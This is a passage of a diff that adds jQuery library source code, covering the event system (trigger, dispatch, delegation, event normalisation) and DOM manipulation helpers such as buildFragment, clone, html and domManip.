+			if ( origCount && !handlers.length ) {
+				if ( !special.teardown || special.teardown.call( elem, namespaces, elemData.handle ) === false ) {
+					jQuery.removeEvent( elem, type, elemData.handle );
+				}
+
+				delete events[ type ];
+			}
+		}
+
+		// Remove the expando if it's no longer used
+		if ( jQuery.isEmptyObject( events ) ) {
+			delete elemData.handle;
+			data_priv.remove( elem, "events" );
+		}
+	},
+
+	trigger: function( event, data, elem, onlyHandlers ) {
+
+		var i, cur, tmp, bubbleType, ontype, handle, special,
+			eventPath = [ elem || document ],
+			type = hasOwn.call( event, "type" ) ? event.type : event,
+			namespaces = hasOwn.call( event, "namespace" ) ? event.namespace.split(".") : [];
+
+		cur = tmp = elem = elem || document;
+
+		// Don't do events on text and comment nodes
+		if ( elem.nodeType === 3 || elem.nodeType === 8 ) {
+			return;
+		}
+
+		// focus/blur morphs to focusin/out; ensure we're not firing them right now
+		if ( rfocusMorph.test( type + jQuery.event.triggered ) ) {
+			return;
+		}
+
+		if ( type.indexOf(".") >= 0 ) {
+			// Namespaced trigger; create a regexp to match event type in handle()
+			namespaces = type.split(".");
+			type = namespaces.shift();
+			namespaces.sort();
+		}
+		ontype = type.indexOf(":") < 0 && "on" + type;
+
+		// Caller can pass in a jQuery.Event object, Object, or just an event type string
+		event = event[ jQuery.expando ] ?
+			event :
+			new jQuery.Event( type, typeof event === "object" && event );
+
+		// Trigger bitmask: & 1 for native handlers; & 2 for jQuery (always true)
+		event.isTrigger = onlyHandlers ? 2 : 3;
+		event.namespace = namespaces.join(".");
+		event.namespace_re = event.namespace ?
+			new RegExp( "(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)" ) :
+			null;
+
+		// Clean up the event in case it is being reused
+		event.result = undefined;
+		if ( !event.target ) {
+			event.target = elem;
+		}
+
+		// Clone any incoming data and prepend the event, creating the handler arg list
+		data = data == null ?
+			[ event ] :
+			jQuery.makeArray( data, [ event ] );
+
+		// Allow special events to draw outside the lines
+		special = jQuery.event.special[ type ] || {};
+		if ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) {
+			return;
+		}
+
+		// Determine event propagation path in advance, per W3C events spec (#9951)
+		// Bubble up to document, then to window; watch for a global ownerDocument var (#9724)
+		if ( !onlyHandlers && !special.noBubble && !jQuery.isWindow( elem ) ) {
+
+			bubbleType = special.delegateType || type;
+			if ( !rfocusMorph.test( bubbleType + type ) ) {
+				cur = cur.parentNode;
+			}
+			for ( ; cur; cur = cur.parentNode ) {
+				eventPath.push( cur );
+				tmp = cur;
+			}
+
+			// Only add window if we got to document (e.g., not plain obj or detached DOM)
+			if ( tmp === (elem.ownerDocument || document) ) {
+				eventPath.push( tmp.defaultView || tmp.parentWindow || window );
+			}
+		}
+
+		// Fire handlers on the event path
+		i = 0;
+		while ( (cur = eventPath[i++]) && !event.isPropagationStopped() ) {
+
+			event.type = i > 1 ?
+				bubbleType :
+				special.bindType || type;
+
+			// jQuery handler
+			handle = ( data_priv.get( cur, "events" ) || {} )[ event.type ] && data_priv.get( cur, "handle" );
+			if ( handle ) {
+				handle.apply( cur, data );
+			}
+
+			// Native handler
+			handle = ontype && cur[ ontype ];
+			if ( handle && handle.apply && jQuery.acceptData( cur ) ) {
+				event.result = handle.apply( cur, data );
+				if ( event.result === false ) {
+					event.preventDefault();
+				}
+			}
+		}
+		event.type = type;
+
+		// If nobody prevented the default action, do it now
+		if ( !onlyHandlers && !event.isDefaultPrevented() ) {
+
+			if ( (!special._default || special._default.apply( eventPath.pop(), data ) === false) &&
+				jQuery.acceptData( elem ) ) {
+
+				// Call a native DOM method on the target with the same name name as the event.
+				// Don't do default actions on window, that's where global variables be (#6170)
+				if ( ontype && jQuery.isFunction( elem[ type ] ) && !jQuery.isWindow( elem ) ) {
+
+					// Don't re-trigger an onFOO event when we call its FOO() method
+					tmp = elem[ ontype ];
+
+					if ( tmp ) {
+						elem[ ontype ] = null;
+					}
+
+					// Prevent re-triggering of the same event, since we already bubbled it above
+					jQuery.event.triggered = type;
+					elem[ type ]();
+					jQuery.event.triggered = undefined;
+
+					if ( tmp ) {
+						elem[ ontype ] = tmp;
+					}
+				}
+			}
+		}
+
+		return event.result;
+	},
+
+	dispatch: function( event ) {
+
+		// Make a writable jQuery.Event from the native event object
+		event = jQuery.event.fix( event );
+
+		var i, j, ret, matched, handleObj,
+			handlerQueue = [],
+			args = slice.call( arguments ),
+			handlers = ( data_priv.get( this, "events" ) || {} )[ event.type ] || [],
+			special = jQuery.event.special[ event.type ] || {};
+
+		// Use the fix-ed jQuery.Event rather than the (read-only) native event
+		args[0] = event;
+		event.delegateTarget = this;
+
+		// Call the preDispatch hook for the mapped type, and let it bail if desired
+		if ( special.preDispatch && special.preDispatch.call( this, event ) === false ) {
+			return;
+		}
+
+		// Determine handlers
+		handlerQueue = jQuery.event.handlers.call( this, event, handlers );
+
+		// Run delegates first; they may want to stop propagation beneath us
+		i = 0;
+		while ( (matched = handlerQueue[ i++ ]) && !event.isPropagationStopped() ) {
+			event.currentTarget = matched.elem;
+
+			j = 0;
+			while ( (handleObj = matched.handlers[ j++ ]) && !event.isImmediatePropagationStopped() ) {
+
+				// Triggered event must either 1) have no namespace, or 2) have namespace(s)
+				// a subset or equal to those in the bound event (both can have no namespace).
+				if ( !event.namespace_re || event.namespace_re.test( handleObj.namespace ) ) {
+
+					event.handleObj = handleObj;
+					event.data = handleObj.data;
+
+					ret = ( (jQuery.event.special[ handleObj.origType ] || {}).handle || handleObj.handler )
+							.apply( matched.elem, args );
+
+					if ( ret !== undefined ) {
+						if ( (event.result = ret) === false ) {
+							event.preventDefault();
+							event.stopPropagation();
+						}
+					}
+				}
+			}
+		}
+
+		// Call the postDispatch hook for the mapped type
+		if ( special.postDispatch ) {
+			special.postDispatch.call( this, event );
+		}
+
+		return event.result;
+	},
+
+	handlers: function( event, handlers ) {
+		var i, matches, sel, handleObj,
+			handlerQueue = [],
+			delegateCount = handlers.delegateCount,
+			cur = event.target;
+
+		// Find delegate handlers
+		// Black-hole SVG <use> instance trees (#13180)
+		// Avoid non-left-click bubbling in Firefox (#3861)
+		if ( delegateCount && cur.nodeType && (!event.button || event.type !== "click") ) {
+
+			for ( ; cur !== this; cur = cur.parentNode || this ) {
+
+				// Don't process clicks on disabled elements (#6911, #8165, #11382, #11764)
+				if ( cur.disabled !== true || event.type !== "click" ) {
+					matches = [];
+					for ( i = 0; i < delegateCount; i++ ) {
+						handleObj = handlers[ i ];
+
+						// Don't conflict with Object.prototype properties (#13203)
+						sel = handleObj.selector + " ";
+
+						if ( matches[ sel ] === undefined ) {
+							matches[ sel ] = handleObj.needsContext ?
+								jQuery( sel, this ).index( cur ) >= 0 :
+								jQuery.find( sel, this, null, [ cur ] ).length;
+						}
+						if ( matches[ sel ] ) {
+							matches.push( handleObj );
+						}
+					}
+					if ( matches.length ) {
+						handlerQueue.push({ elem: cur, handlers: matches });
+					}
+				}
+			}
+		}
+
+		// Add the remaining (directly-bound) handlers
+		if ( delegateCount < handlers.length ) {
+			handlerQueue.push({ elem: this, handlers: handlers.slice( delegateCount ) });
+		}
+
+		return handlerQueue;
+	},
+
+	// Includes some event props shared by KeyEvent and MouseEvent
+	props: "altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),
+
+	fixHooks: {},
+
+	keyHooks: {
+		props: "char charCode key keyCode".split(" "),
+		filter: function( event, original ) {
+
+			// Add which for key events
+			if ( event.which == null ) {
+				event.which = original.charCode != null ? original.charCode : original.keyCode;
+			}
+
+			return event;
+		}
+	},
+
+	mouseHooks: {
+		props: "button buttons clientX clientY offsetX offsetY pageX pageY screenX screenY toElement".split(" "),
+		filter: function( event, original ) {
+			var eventDoc, doc, body,
+				button = original.button;
+
+			// Calculate pageX/Y if missing and clientX/Y available
+			if ( event.pageX == null && original.clientX != null ) {
+				eventDoc = event.target.ownerDocument || document;
+				doc = eventDoc.documentElement;
+				body = eventDoc.body;
+
+				event.pageX = original.clientX + ( doc && doc.scrollLeft || body && body.scrollLeft || 0 ) - ( doc && doc.clientLeft || body && body.clientLeft || 0 );
+				event.pageY = original.clientY + ( doc && doc.scrollTop  || body && body.scrollTop  || 0 ) - ( doc && doc.clientTop  || body && body.clientTop  || 0 );
+			}
+
+			// Add which for click: 1 === left; 2 === middle; 3 === right
+			// Note: button is not normalized, so don't use it
+			if ( !event.which && button !== undefined ) {
+				event.which = ( button & 1 ? 1 : ( button & 2 ? 3 : ( button & 4 ? 2 : 0 ) ) );
+			}
+
+			return event;
+		}
+	},
+
+	fix: function( event ) {
+		if ( event[ jQuery.expando ] ) {
+			return event;
+		}
+
+		// Create a writable copy of the event object and normalize some properties
+		var i, prop, copy,
+			type = event.type,
+			originalEvent = event,
+			fixHook = this.fixHooks[ type ];
+
+		if ( !fixHook ) {
+			this.fixHooks[ type ] = fixHook =
+				rmouseEvent.test( type ) ? this.mouseHooks :
+				rkeyEvent.test( type ) ? this.keyHooks :
+				{};
+		}
+		copy = fixHook.props ? this.props.concat( fixHook.props ) : this.props;
+
+		event = new jQuery.Event( originalEvent );
+
+		i = copy.length;
+		while ( i-- ) {
+			prop = copy[ i ];
+			event[ prop ] = originalEvent[ prop ];
+		}
+
+		// Support: Cordova 2.5 (WebKit) (#13255)
+		// All events should have a target; Cordova deviceready doesn't
+		if ( !event.target ) {
+			event.target = document;
+		}
+
+		// Support: Safari 6.0+, Chrome<28
+		// Target should not be a text node (#504, #13143)
+		if ( event.target.nodeType === 3 ) {
+			event.target = event.target.parentNode;
+		}
+
+		return fixHook.filter ? fixHook.filter( event, originalEvent ) : event;
+	},
+
+	special: {
+		load: {
+			// Prevent triggered image.load events from bubbling to window.load
+			noBubble: true
+		},
+		focus: {
+			// Fire native event if possible so blur/focus sequence is correct
+			trigger: function() {
+				if ( this !== safeActiveElement() && this.focus ) {
+					this.focus();
+					return false;
+				}
+			},
+			delegateType: "focusin"
+		},
+		blur: {
+			trigger: function() {
+				if ( this === safeActiveElement() && this.blur ) {
+					this.blur();
+					return false;
+				}
+			},
+			delegateType: "focusout"
+		},
+		click: {
+			// For checkbox, fire native event so checked state will be right
+			trigger: function() {
+				if ( this.type === "checkbox" && this.click && jQuery.nodeName( this, "input" ) ) {
+					this.click();
+					return false;
+				}
+			},
+
+			// For cross-browser consistency, don't fire native .click() on links
+			_default: function( event ) {
+				return jQuery.nodeName( event.target, "a" );
+			}
+		},
+
+		beforeunload: {
+			postDispatch: function( event ) {
+
+				// Support: Firefox 20+
+				// Firefox doesn't alert if the returnValue field is not set.
+				if ( event.result !== undefined && event.originalEvent ) {
+					event.originalEvent.returnValue = event.result;
+				}
+			}
+		}
+	},
+
+	simulate: function( type, elem, event, bubble ) {
+		// Piggyback on a donor event to simulate a different one.
+		// Fake originalEvent to avoid donor's stopPropagation, but if the
+		// simulated event prevents default then we do the same on the donor.
+		var e = jQuery.extend(
+			new jQuery.Event(),
+			event,
+			{
+				type: type,
+				isSimulated: true,
+				originalEvent: {}
+			}
+		);
+		if ( bubble ) {
+			jQuery.event.trigger( e, null, elem );
+		} else {
+			jQuery.event.dispatch.call( elem, e );
+		}
+		if ( e.isDefaultPrevented() ) {
+			event.preventDefault();
+		}
+	}
+};
+
+jQuery.removeEvent = function( elem, type, handle ) {
+	if ( elem.removeEventListener ) {
+		elem.removeEventListener( type, handle, false );
+	}
+};
+
+jQuery.Event = function( src, props ) {
+	// Allow instantiation without the 'new' keyword
+	if ( !(this instanceof jQuery.Event) ) {
+		return new jQuery.Event( src, props );
+	}
+
+	// Event object
+	if ( src && src.type ) {
+		this.originalEvent = src;
+		this.type = src.type;
+
+		// Events bubbling up the document may have been marked as prevented
+		// by a handler lower down the tree; reflect the correct value.
+		this.isDefaultPrevented = src.defaultPrevented ||
+				src.defaultPrevented === undefined &&
+				// Support: Android<4.0
+				src.returnValue === false ?
+			returnTrue :
+			returnFalse;
+
+	// Event type
+	} else {
+		this.type = src;
+	}
+
+	// Put explicitly provided properties onto the event object
+	if ( props ) {
+		jQuery.extend( this, props );
+	}
+
+	// Create a timestamp if incoming event doesn't have one
+	this.timeStamp = src && src.timeStamp || jQuery.now();
+
+	// Mark it as fixed
+	this[ jQuery.expando ] = true;
+};
+
+// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding
+// http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html
+jQuery.Event.prototype = {
+	isDefaultPrevented: returnFalse,
+	isPropagationStopped: returnFalse,
+	isImmediatePropagationStopped: returnFalse,
+
+	preventDefault: function() {
+		var e = this.originalEvent;
+
+		this.isDefaultPrevented = returnTrue;
+
+		if ( e && e.preventDefault ) {
+			e.preventDefault();
+		}
+	},
+	stopPropagation: function() {
+		var e = this.originalEvent;
+
+		this.isPropagationStopped = returnTrue;
+
+		if ( e && e.stopPropagation ) {
+			e.stopPropagation();
+		}
+	},
+	stopImmediatePropagation: function() {
+		var e = this.originalEvent;
+
+		this.isImmediatePropagationStopped = returnTrue;
+
+		if ( e && e.stopImmediatePropagation ) {
+			e.stopImmediatePropagation();
+		}
+
+		this.stopPropagation();
+	}
+};
+
+// Create mouseenter/leave events using mouseover/out and event-time checks
+// Support: Chrome 15+
+jQuery.each({
+	mouseenter: "mouseover",
+	mouseleave: "mouseout",
+	pointerenter: "pointerover",
+	pointerleave: "pointerout"
+}, function( orig, fix ) {
+	jQuery.event.special[ orig ] = {
+		delegateType: fix,
+		bindType: fix,
+
+		handle: function( event ) {
+			var ret,
+				target = this,
+				related = event.relatedTarget,
+				handleObj = event.handleObj;
+
+			// For mousenter/leave call the handler if related is outside the target.
+			// NB: No relatedTarget if the mouse left/entered the browser window
+			if ( !related || (related !== target && !jQuery.contains( target, related )) ) {
+				event.type = handleObj.origType;
+				ret = handleObj.handler.apply( this, arguments );
+				event.type = fix;
+			}
+			return ret;
+		}
+	};
+});
+
+// Support: Firefox, Chrome, Safari
+// Create "bubbling" focus and blur events
+if ( !support.focusinBubbles ) {
+	jQuery.each({ focus: "focusin", blur: "focusout" }, function( orig, fix ) {
+
+		// Attach a single capturing handler on the document while someone wants focusin/focusout
+		var handler = function( event ) {
+				jQuery.event.simulate( fix, event.target, jQuery.event.fix( event ), true );
+			};
+
+		jQuery.event.special[ fix ] = {
+			setup: function() {
+				var doc = this.ownerDocument || this,
+					attaches = data_priv.access( doc, fix );
+
+				if ( !attaches ) {
+					doc.addEventListener( orig, handler, true );
+				}
+				data_priv.access( doc, fix, ( attaches || 0 ) + 1 );
+			},
+			teardown: function() {
+				var doc = this.ownerDocument || this,
+					attaches = data_priv.access( doc, fix ) - 1;
+
+				if ( !attaches ) {
+					doc.removeEventListener( orig, handler, true );
+					data_priv.remove( doc, fix );
+
+				} else {
+					data_priv.access( doc, fix, attaches );
+				}
+			}
+		};
+	});
+}
+
+jQuery.fn.extend({
+
+	on: function( types, selector, data, fn, /*INTERNAL*/ one ) {
+		var origFn, type;
+
+		// Types can be a map of types/handlers
+		if ( typeof types === "object" ) {
+			// ( types-Object, selector, data )
+			if ( typeof selector !== "string" ) {
+				// ( types-Object, data )
+				data = data || selector;
+				selector = undefined;
+			}
+			for ( type in types ) {
+				this.on( type, selector, data, types[ type ], one );
+			}
+			return this;
+		}
+
+		if ( data == null && fn == null ) {
+			// ( types, fn )
+			fn = selector;
+			data = selector = undefined;
+		} else if ( fn == null ) {
+			if ( typeof selector === "string" ) {
+				// ( types, selector, fn )
+				fn = data;
+				data = undefined;
+			} else {
+				// ( types, data, fn )
+				fn = data;
+				data = selector;
+				selector = undefined;
+			}
+		}
+		if ( fn === false ) {
+			fn = returnFalse;
+		} else if ( !fn ) {
+			return this;
+		}
+
+		if ( one === 1 ) {
+			origFn = fn;
+			fn = function( event ) {
+				// Can use an empty set, since event contains the info
+				jQuery().off( event );
+				return origFn.apply( this, arguments );
+			};
+			// Use same guid so caller can remove using origFn
+			fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ );
+		}
+		return this.each( function() {
+			jQuery.event.add( this, types, fn, data, selector );
+		});
+	},
+	one: function( types, selector, data, fn ) {
+		return this.on( types, selector, data, fn, 1 );
+	},
+	off: function( types, selector, fn ) {
+		var handleObj, type;
+		if ( types && types.preventDefault && types.handleObj ) {
+			// ( event )  dispatched jQuery.Event
+			handleObj = types.handleObj;
+			jQuery( types.delegateTarget ).off(
+				handleObj.namespace ? handleObj.origType + "." + handleObj.namespace : handleObj.origType,
+				handleObj.selector,
+				handleObj.handler
+			);
+			return this;
+		}
+		if ( typeof types === "object" ) {
+			// ( types-object [, selector] )
+			for ( type in types ) {
+				this.off( type, selector, types[ type ] );
+			}
+			return this;
+		}
+		if ( selector === false || typeof selector === "function" ) {
+			// ( types [, fn] )
+			fn = selector;
+			selector = undefined;
+		}
+		if ( fn === false ) {
+			fn = returnFalse;
+		}
+		return this.each(function() {
+			jQuery.event.remove( this, types, fn, selector );
+		});
+	},
+
+	trigger: function( type, data ) {
+		return this.each(function() {
+			jQuery.event.trigger( type, data, this );
+		});
+	},
+	triggerHandler: function( type, data ) {
+		var elem = this[0];
+		if ( elem ) {
+			return jQuery.event.trigger( type, data, elem, true );
+		}
+	}
+});
+
+
+var
+	rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,
+	rtagName = /<([\w:]+)/,
+	rhtml = /<|&#?\w+;/,
+	rnoInnerhtml = /<(?:script|style|link)/i,
+	// checked="checked" or checked
+	rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i,
+	rscriptType = /^$|\/(?:java|ecma)script/i,
+	rscriptTypeMasked = /^true\/(.*)/,
+	rcleanScript = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,
+
+	// We have to close these tags to support XHTML (#13200)
+	wrapMap = {
+
+		// Support: IE9
+		option: [ 1, "<select multiple='multiple'>", "</select>" ],
+
+		thead: [ 1, "<table>", "</table>" ],
+		col: [ 2, "<table><colgroup>", "</colgroup></table>" ],
+		tr: [ 2, "<table><tbody>", "</tbody></table>" ],
+		td: [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ],
+
+		_default: [ 0, "", "" ]
+	};
+
+// Support: IE9
+wrapMap.optgroup = wrapMap.option;
+
+wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;
+wrapMap.th = wrapMap.td;
+
+// Support: 1.x compatibility
+// Manipulating tables requires a tbody
+function manipulationTarget( elem, content ) {
+	return jQuery.nodeName( elem, "table" ) &&
+		jQuery.nodeName( content.nodeType !== 11 ? content : content.firstChild, "tr" ) ?
+
+		elem.getElementsByTagName("tbody")[0] ||
+			elem.appendChild( elem.ownerDocument.createElement("tbody") ) :
+		elem;
+}
+
+// Replace/restore the type attribute of script elements for safe DOM manipulation
+function disableScript( elem ) {
+	elem.type = (elem.getAttribute("type") !== null) + "/" + elem.type;
+	return elem;
+}
+function restoreScript( elem ) {
+	var match = rscriptTypeMasked.exec( elem.type );
+
+	if ( match ) {
+		elem.type = match[ 1 ];
+	} else {
+		elem.removeAttribute("type");
+	}
+
+	return elem;
+}
+
+// Mark scripts as having already been evaluated
+function setGlobalEval( elems, refElements ) {
+	var i = 0,
+		l = elems.length;
+
+	for ( ; i < l; i++ ) {
+		data_priv.set(
+			elems[ i ], "globalEval", !refElements || data_priv.get( refElements[ i ], "globalEval" )
+		);
+	}
+}
+
+function cloneCopyEvent( src, dest ) {
+	var i, l, type, pdataOld, pdataCur, udataOld, udataCur, events;
+
+	if ( dest.nodeType !== 1 ) {
+		return;
+	}
+
+	// 1. Copy private data: events, handlers, etc.
+	if ( data_priv.hasData( src ) ) {
+		pdataOld = data_priv.access( src );
+		pdataCur = data_priv.set( dest, pdataOld );
+		events = pdataOld.events;
+
+		if ( events ) {
+			delete pdataCur.handle;
+			pdataCur.events = {};
+
+			for ( type in events ) {
+				for ( i = 0, l = events[ type ].length; i < l; i++ ) {
+					jQuery.event.add( dest, type, events[ type ][ i ] );
+				}
+			}
+		}
+	}
+
+	// 2. Copy user data
+	if ( data_user.hasData( src ) ) {
+		udataOld = data_user.access( src );
+		udataCur = jQuery.extend( {}, udataOld );
+
+		data_user.set( dest, udataCur );
+	}
+}
+
+function getAll( context, tag ) {
+	var ret = context.getElementsByTagName ? context.getElementsByTagName( tag || "*" ) :
+			context.querySelectorAll ? context.querySelectorAll( tag || "*" ) :
+			[];
+
+	return tag === undefined || tag && jQuery.nodeName( context, tag ) ?
+		jQuery.merge( [ context ], ret ) :
+		ret;
+}
+
+// Fix IE bugs, see support tests
+function fixInput( src, dest ) {
+	var nodeName = dest.nodeName.toLowerCase();
+
+	// Fails to persist the checked state of a cloned checkbox or radio button.
+	if ( nodeName === "input" && rcheckableType.test( src.type ) ) {
+		dest.checked = src.checked;
+
+	// Fails to return the selected option to the default selected state when cloning options
+	} else if ( nodeName === "input" || nodeName === "textarea" ) {
+		dest.defaultValue = src.defaultValue;
+	}
+}
+
+jQuery.extend({
+	clone: function( elem, dataAndEvents, deepDataAndEvents ) {
+		var i, l, srcElements, destElements,
+			clone = elem.cloneNode( true ),
+			inPage = jQuery.contains( elem.ownerDocument, elem );
+
+		// Fix IE cloning issues
+		if ( !support.noCloneChecked && ( elem.nodeType === 1 || elem.nodeType === 11 ) &&
+				!jQuery.isXMLDoc( elem ) ) {
+
+			// We eschew Sizzle here for performance reasons: http://jsperf.com/getall-vs-sizzle/2
+			destElements = getAll( clone );
+			srcElements = getAll( elem );
+
+			for ( i = 0, l = srcElements.length; i < l; i++ ) {
+				fixInput( srcElements[ i ], destElements[ i ] );
+			}
+		}
+
+		// Copy the events from the original to the clone
+		if ( dataAndEvents ) {
+			if ( deepDataAndEvents ) {
+				srcElements = srcElements || getAll( elem );
+				destElements = destElements || getAll( clone );
+
+				for ( i = 0, l = srcElements.length; i < l; i++ ) {
+					cloneCopyEvent( srcElements[ i ], destElements[ i ] );
+				}
+			} else {
+				cloneCopyEvent( elem, clone );
+			}
+		}
+
+		// Preserve script evaluation history
+		destElements = getAll( clone, "script" );
+		if ( destElements.length > 0 ) {
+			setGlobalEval( destElements, !inPage && getAll( elem, "script" ) );
+		}
+
+		// Return the cloned set
+		return clone;
+	},
+
+	buildFragment: function( elems, context, scripts, selection ) {
+		var elem, tmp, tag, wrap, contains, j,
+			fragment = context.createDocumentFragment(),
+			nodes = [],
+			i = 0,
+			l = elems.length;
+
+		for ( ; i < l; i++ ) {
+			elem = elems[ i ];
+
+			if ( elem || elem === 0 ) {
+
+				// Add nodes directly
+				if ( jQuery.type( elem ) === "object" ) {
+					// Support: QtWebKit, PhantomJS
+					// push.apply(_, arraylike) throws on ancient WebKit
+					jQuery.merge( nodes, elem.nodeType ? [ elem ] : elem );
+
+				// Convert non-html into a text node
+				} else if ( !rhtml.test( elem ) ) {
+					nodes.push( context.createTextNode( elem ) );
+
+				// Convert html into DOM nodes
+				} else {
+					tmp = tmp || fragment.appendChild( context.createElement("div") );
+
+					// Deserialize a standard representation
+					tag = ( rtagName.exec( elem ) || [ "", "" ] )[ 1 ].toLowerCase();
+					wrap = wrapMap[ tag ] || wrapMap._default;
+					tmp.innerHTML = wrap[ 1 ] + elem.replace( rxhtmlTag, "<$1></$2>" ) + wrap[ 2 ];
+
+					// Descend through wrappers to the right content
+					j = wrap[ 0 ];
+					while ( j-- ) {
+						tmp = tmp.lastChild;
+					}
+
+					// Support: QtWebKit, PhantomJS
+					// push.apply(_, arraylike) throws on ancient WebKit
+					jQuery.merge( nodes, tmp.childNodes );
+
+					// Remember the top-level container
+					tmp = fragment.firstChild;
+
+					// Ensure the created nodes are orphaned (#12392)
+					tmp.textContent = "";
+				}
+			}
+		}
+
+		// Remove wrapper from fragment
+		fragment.textContent = "";
+
+		i = 0;
+		while ( (elem = nodes[ i++ ]) ) {
+
+			// #4087 - If origin and destination elements are the same, and this is
+			// that element, do not do anything
+			if ( selection && jQuery.inArray( elem, selection ) !== -1 ) {
+				continue;
+			}
+
+			contains = jQuery.contains( elem.ownerDocument, elem );
+
+			// Append to fragment
+			tmp = getAll( fragment.appendChild( elem ), "script" );
+
+			// Preserve script evaluation history
+			if ( contains ) {
+				setGlobalEval( tmp );
+			}
+
+			// Capture executables
+			if ( scripts ) {
+				j = 0;
+				while ( (elem = tmp[ j++ ]) ) {
+					if ( rscriptType.test( elem.type || "" ) ) {
+						scripts.push( elem );
+					}
+				}
+			}
+		}
+
+		return fragment;
+	},
+
+	cleanData: function( elems ) {
+		var data, elem, type, key,
+			special = jQuery.event.special,
+			i = 0;
+
+		for ( ; (elem = elems[ i ]) !== undefined; i++ ) {
+			if ( jQuery.acceptData( elem ) ) {
+				key = elem[ data_priv.expando ];
+
+				if ( key && (data = data_priv.cache[ key ]) ) {
+					if ( data.events ) {
+						for ( type in data.events ) {
+							if ( special[ type ] ) {
+								jQuery.event.remove( elem, type );
+
+							// This is a shortcut to avoid jQuery.event.remove's overhead
+							} else {
+								jQuery.removeEvent( elem, type, data.handle );
+							}
+						}
+					}
+					if ( data_priv.cache[ key ] ) {
+						// Discard any remaining `private` data
+						delete data_priv.cache[ key ];
+					}
+				}
+			}
+			// Discard any remaining `user` data
+			delete data_user.cache[ elem[ data_user.expando ] ];
+		}
+	}
+});
+
+jQuery.fn.extend({
+	text: function( value ) {
+		return access( this, function( value ) {
+			return value === undefined ?
+				jQuery.text( this ) :
+				this.empty().each(function() {
+					if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
+						this.textContent = value;
+					}
+				});
+		}, null, value, arguments.length );
+	},
+
+	append: function() {
+		return this.domManip( arguments, function( elem ) {
+			if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
+				var target = manipulationTarget( this, elem );
+				target.appendChild( elem );
+			}
+		});
+	},
+
+	prepend: function() {
+		return this.domManip( arguments, function( elem ) {
+			if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
+				var target = manipulationTarget( this, elem );
+				target.insertBefore( elem, target.firstChild );
+			}
+		});
+	},
+
+	before: function() {
+		return this.domManip( arguments, function( elem ) {
+			if ( this.parentNode ) {
+				this.parentNode.insertBefore( elem, this );
+			}
+		});
+	},
+
+	after: function() {
+		return this.domManip( arguments, function( elem ) {
+			if ( this.parentNode ) {
+				this.parentNode.insertBefore( elem, this.nextSibling );
+			}
+		});
+	},
+
+	remove: function( selector, keepData /* Internal Use Only */ ) {
+		var elem,
+			elems = selector ? jQuery.filter( selector, this ) : this,
+			i = 0;
+
+		for ( ; (elem = elems[i]) != null; i++ ) {
+			if ( !keepData && elem.nodeType === 1 ) {
+				jQuery.cleanData( getAll( elem ) );
+			}
+
+			if ( elem.parentNode ) {
+				if ( keepData && jQuery.contains( elem.ownerDocument, elem ) ) {
+					setGlobalEval( getAll( elem, "script" ) );
+				}
+				elem.parentNode.removeChild( elem );
+			}
+		}
+
+		return this;
+	},
+
+	empty: function() {
+		var elem,
+			i = 0;
+
+		for ( ; (elem = this[i]) != null; i++ ) {
+			if ( elem.nodeType === 1 ) {
+
+				// Prevent memory leaks
+				jQuery.cleanData( getAll( elem, false ) );
+
+				// Remove any remaining nodes
+				elem.textContent = "";
+			}
+		}
+
+		return this;
+	},
+
+	clone: function( dataAndEvents, deepDataAndEvents ) {
+		dataAndEvents = dataAndEvents == null ? false : dataAndEvents;
+		deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;
+
+		return this.map(function() {
+			return jQuery.clone( this, dataAndEvents, deepDataAndEvents );
+		});
+	},
+
+	html: function( value ) {
+		return access( this, function( value ) {
+			var elem = this[ 0 ] || {},
+				i = 0,
+				l = this.length;
+
+			if ( value === undefined && elem.nodeType === 1 ) {
+				return elem.innerHTML;
+			}
+
+			// See if we can take a shortcut and just use innerHTML
+			if ( typeof value === "string" && !rnoInnerhtml.test( value ) &&
+				!wrapMap[ ( rtagName.exec( value ) || [ "", "" ] )[ 1 ].toLowerCase() ] ) {
+
+				value = value.replace( rxhtmlTag, "<$1></$2>" );
+
+				try {
+					for ( ; i < l; i++ ) {
+						elem = this[ i ] || {};
+
+						// Remove element nodes and prevent memory leaks
+						if ( elem.nodeType === 1 ) {
+							jQuery.cleanData( getAll( elem, false ) );
+							elem.innerHTML = value;
+						}
+					}
+
+					elem = 0;
+
+				// If using innerHTML throws an exception, use the fallback method
+				} catch( e ) {}
+			}
+
+			if ( elem ) {
+				this.empty().append( value );
+			}
+		}, null, value, arguments.length );
+	},
+
+	replaceWith: function() {
+		var arg = arguments[ 0 ];
+
+		// Make the changes, replacing each context element with the new content
+		this.domManip( arguments, function( elem ) {
+			arg = this.parentNode;
+
+			jQuery.cleanData( getAll( this ) );
+
+			if ( arg ) {
+				arg.replaceChild( elem, this );
+			}
+		});
+
+		// Force removal if there was no new content (e.g., from empty arguments)
+		return arg && (arg.length || arg.nodeType) ? this : this.remove();
+	},
+
+	detach: function( selector ) {
+		return this.remove( selector, true );
+	},
+
+	domManip: function( args, callback ) {
+
+		// Flatten any nested arrays
+		args = concat.apply( [], args );
+
+		var fragment, first, scripts, hasScripts, node, doc,
+			i = 0,
+			l = this.length,
+			set = this,
+			iNoClone = l - 1,
+			value = args[ 0 ],
+			isFunction = jQuery.isFunction( value );
+
+		// We can't cloneNode fragments that contain checked, in WebKit
+		if ( isFunction ||
+				( l > 1 && typeof value === "string" &&
+					!support.checkClone && rchecked.test( value ) ) ) {
+			return this.each(function( index ) {
+				var self = set.eq( index );
+				if ( isFunction ) {
+					args[ 0 ] = value.call( this, index, self.html() );
+				}
+				self.domManip( args, callback );
+			});
+		}
+
+		if ( l ) {
